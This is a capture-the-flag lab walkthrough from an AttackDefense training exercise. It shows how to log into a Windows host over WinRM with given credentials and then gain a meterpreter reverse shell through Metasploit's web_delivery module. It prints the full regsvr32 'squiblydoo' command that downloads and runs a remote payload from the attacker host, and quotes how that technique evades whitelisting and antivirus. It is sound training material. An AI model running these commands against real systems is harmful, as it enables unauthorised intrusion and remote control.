
ATTACK
DEFENSE
by PentesterAcademy

Name	Windows: Web Delivery Exploits
URL	https://attackdefense.com/challengedetails?cid=2400
Type	Basic Exploitation: Pentesting

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Check the target machine's IP address.

Command: cat /root/Desktop/target

```
root@attackdefense:~# cat /root/Desktop/target
Target IP Address : 10.0.28.204
root@attackdefense:~#
```

Step 2: Run a Nmap scan against the target IP.

Command: nmap --top-ports 10000 10.0.28.204

```
root@attackdefense:~# nmap --top-ports 10000 10.0.28.204
Starting Nmap 7.70 ( https://nmap.org ) at 2021-09-03 10:45 IST
Nmap scan report for 10.0.28.204
Host is up (0.057s latency).
Not shown: 8300 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
47001/tcp open  winrm

Nmap done: 1 IP address (1 host up) scanned in 10.96 seconds
root@attackdefense:~#
```

Step 2: We have discovered that the winrm server is running on port 5985. By default, the WinRM service uses port 5985 for HTTP. We have the credentials to access the remote server, we will run the Linux PowerShell to connect to the remote server via PSSession.

Running PowerShell

Command: pwsh

```
root@attackdefense:~# pwsh
PowerShell 7.0.0
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/powershell
Type 'help' to get help.

PS /root>
```

We have successfully launched Powershell.

Step 3: Store target server credentials in creds variable.

Command: $cred = Get-Credential

Also, enter the target server credentials for the connection. administrator:chocolate_123321

```
PS /root> $cred = Get-Credential

PowerShell credential request
Enter your credentials.
User: administrator
Password for user administrator: ****************

PS /root>
```

Connecting to the target server using PSSession.

Commands: Enter-PSSession -ComputerName 10.0.28.204 -Authentication Negotiate -Credential $cred

```
PS /root> Enter-PSSession -ComputerName 10.0.28.204 -Authentication Negotiate  -Credential $cred
[10.0.28.204]: PS C:\Users\Administrator\Documents>
```

We are successfully connected to the target server. We now have full control of the server.

Step 4: Check the IP configuration information on the remote server.

Command: ipconfig /all

```
[10.0.28.204]: PS C:\Users\Administrator\Documents> ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : EC2AMAZ-3BQCO5U
   Primary Dns Suffix  . . . . . . . :
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : ap-southeast-1.ec2-utilities.amazonaws.com
                                       ap-southeast-1.compute.internal

Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . : ap-southeast-1.compute.internal
   Description . . . . . . . . . . . : AWS PV Network Device #0
   Physical Address. . . . . . . . . : 06-ED-81-46-92-0A
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::cd82:4757:fc5a:4b83%4(Preferred)
   IPv4 Address. . . . . . . . . . . : 10.0.28.204(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.240.0
   Lease Obtained. . . . . . . . . . : Friday, September 3, 2021 5:13:48 AM
   Lease Expires . . . . . . . . . . : Friday, September 3, 2021 6:13:48 AM
   Default Gateway . . . . . . . . . : 10.0.16.1
   DHCP Server . . . . . . . . . . . : 10.0.16.1
   DHCPv6 IAID . . . . . . . . . . . : 118418632
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-28-C3-67-63-06-ED-81-46-92-0A
```

Step 5: We will be running the web delivery exploit module to gain the meterpreter shell on the attacker machine.

Open another terminal and type the below commands.

Commands:

```
msfconsole -q
use exploit/multi/script/web_delivery
set TARGET 3
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.15.2
exploit
```

"*This module quickly fires up a web server that serves a payload. The module will provide a command to be run on the target machine based on the selected target. The provided command will download and execute a payload using either a specified scripting language interpreter or*

"squiblydoo" via regsvr32.exe for bypassing application whitelisting. The main purpose of this module is to quickly establish a session on a target machine when the attacker has to manually type in the command: e.g. Command Injection, RDP Session, Local Access or maybe Remote Command Execution. This attack vector does not write to disk so it is less likely to trigger AV solutions and will allow privilege escalations supplied by Meterpreter. When using either of the PSH targets, ensure the payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines. Regsvr32 uses "squiblydoo" technique to bypass application whitelisting. The signed Microsoft binary file, Regsvr32, is able to request an .sct file and then execute the included PowerShell command inside of it. Similarly, the pubprn target uses the pubprn.vbs script to request and execute a .sct file. Both web requests (i.e., the .sct file and PowerShell download/execute) can occur on the same port. The SyncAppvPublishingServer target uses SyncAppvPublishingServer.exe Microsoft signed binary to request and execute a PowerShell script. This technique only works on Windows 10 builds <= 1709. "PSH (Binary)" will write a file to the disk, allowing for custom binaries to be served up to be downloaded and executed.."

Source: https://www.rapid7.com/db/modules/exploit/multi/script/web_delivery/

```
root@attackdefense:~# msfconsole -q
msf5 > use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
msf5 exploit(multi/script/web_delivery) > set TARGET 3
TARGET => 3
msf5 exploit(multi/script/web_delivery) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/script/web_delivery) > set LHOST 10.10.15.2
LHOST => 10.10.15.2
msf5 exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.15.2:4444
[*] Using URL: http://0.0.0.0:8080/I5qEweTtc8
[*] Local IP: http://10.10.15.2:8080/I5qEweTtc8
[*] Server started.
[*] Run the following command on the target machine:
regsvr32 /s /n /u /i:http://10.10.15.2:8080/I5qEweTtc8.sct scrobj.dll
msf5 exploit(multi/script/web_delivery) >
```

Copy the generated payload URL i.e "**regsvr32 /s /n /u /i:http://10.10.15.2:8080/I5qEweTtc8.sct scrobj.dll**" and run it on WinRM session to gain the meterpreter shell.

Command: regsvr32 /s /n /u /i:http://10.10.15.2:8080/I5qEweTtc8.sct scrobj.dll

```
[10.0.28.204]: PS C:\Users\Administrator\Documents> regsvr32 /s /n /u /i:http://10.10.15.2:8080/I5qEweTtc8.sct scrobj.dll
[10.0.28.204]: PS C:\Users\Administrator\Documents>
```

```
[*] Run the following command on the target machine:
regsvr32 /s /n /u /i:http://10.10.15.2:8080/I5qEweTtc8.sct scrobj.dll
msf5 exploit(multi/script/web_delivery) > [*] 10.0.28.204      web_delivery - Handling .sct Request
[*] 10.0.28.204      web_delivery - Delivering Payload (2088 bytes)
[*] Sending stage (201283 bytes) to 10.0.28.204
[*] Meterpreter session 1 opened (10.10.15.2:4444 -> 10.0.28.204:49715) at 2021-09-03 10:51:14 +0530
```

We have received a meterpreter shell successfully.

Step 6: Read the flag.

Commands: sessions -i 1
cd C:\\Users\\Administrator\\Desktop
ls
cat flag.txt

```
msf5 exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > cd C:\\Users\\Administrator\\Desktop
meterpreter > ls
Listing: C:\Users\Administrator\Desktop
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2020-10-05 18:50:34 +0530  desktop.ini
100666/rw-rw-rw-  32    fil   2021-06-16 14:22:13 +0530  flag.txt

meterpreter > cat flag.txt
df30cb178eb8e37728f39b3e6551c8demeterpreter >
```

We have discovered the flag.

Flag: df30cb178eb8e37728f39b3e6551c8de

References

1. Powershell on Linux (https://docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-on-linux?view=powershell-7)
2. Script Web Delivery (https://www.rapid7.com/db/modules/exploit/multi/script/web_delivery/)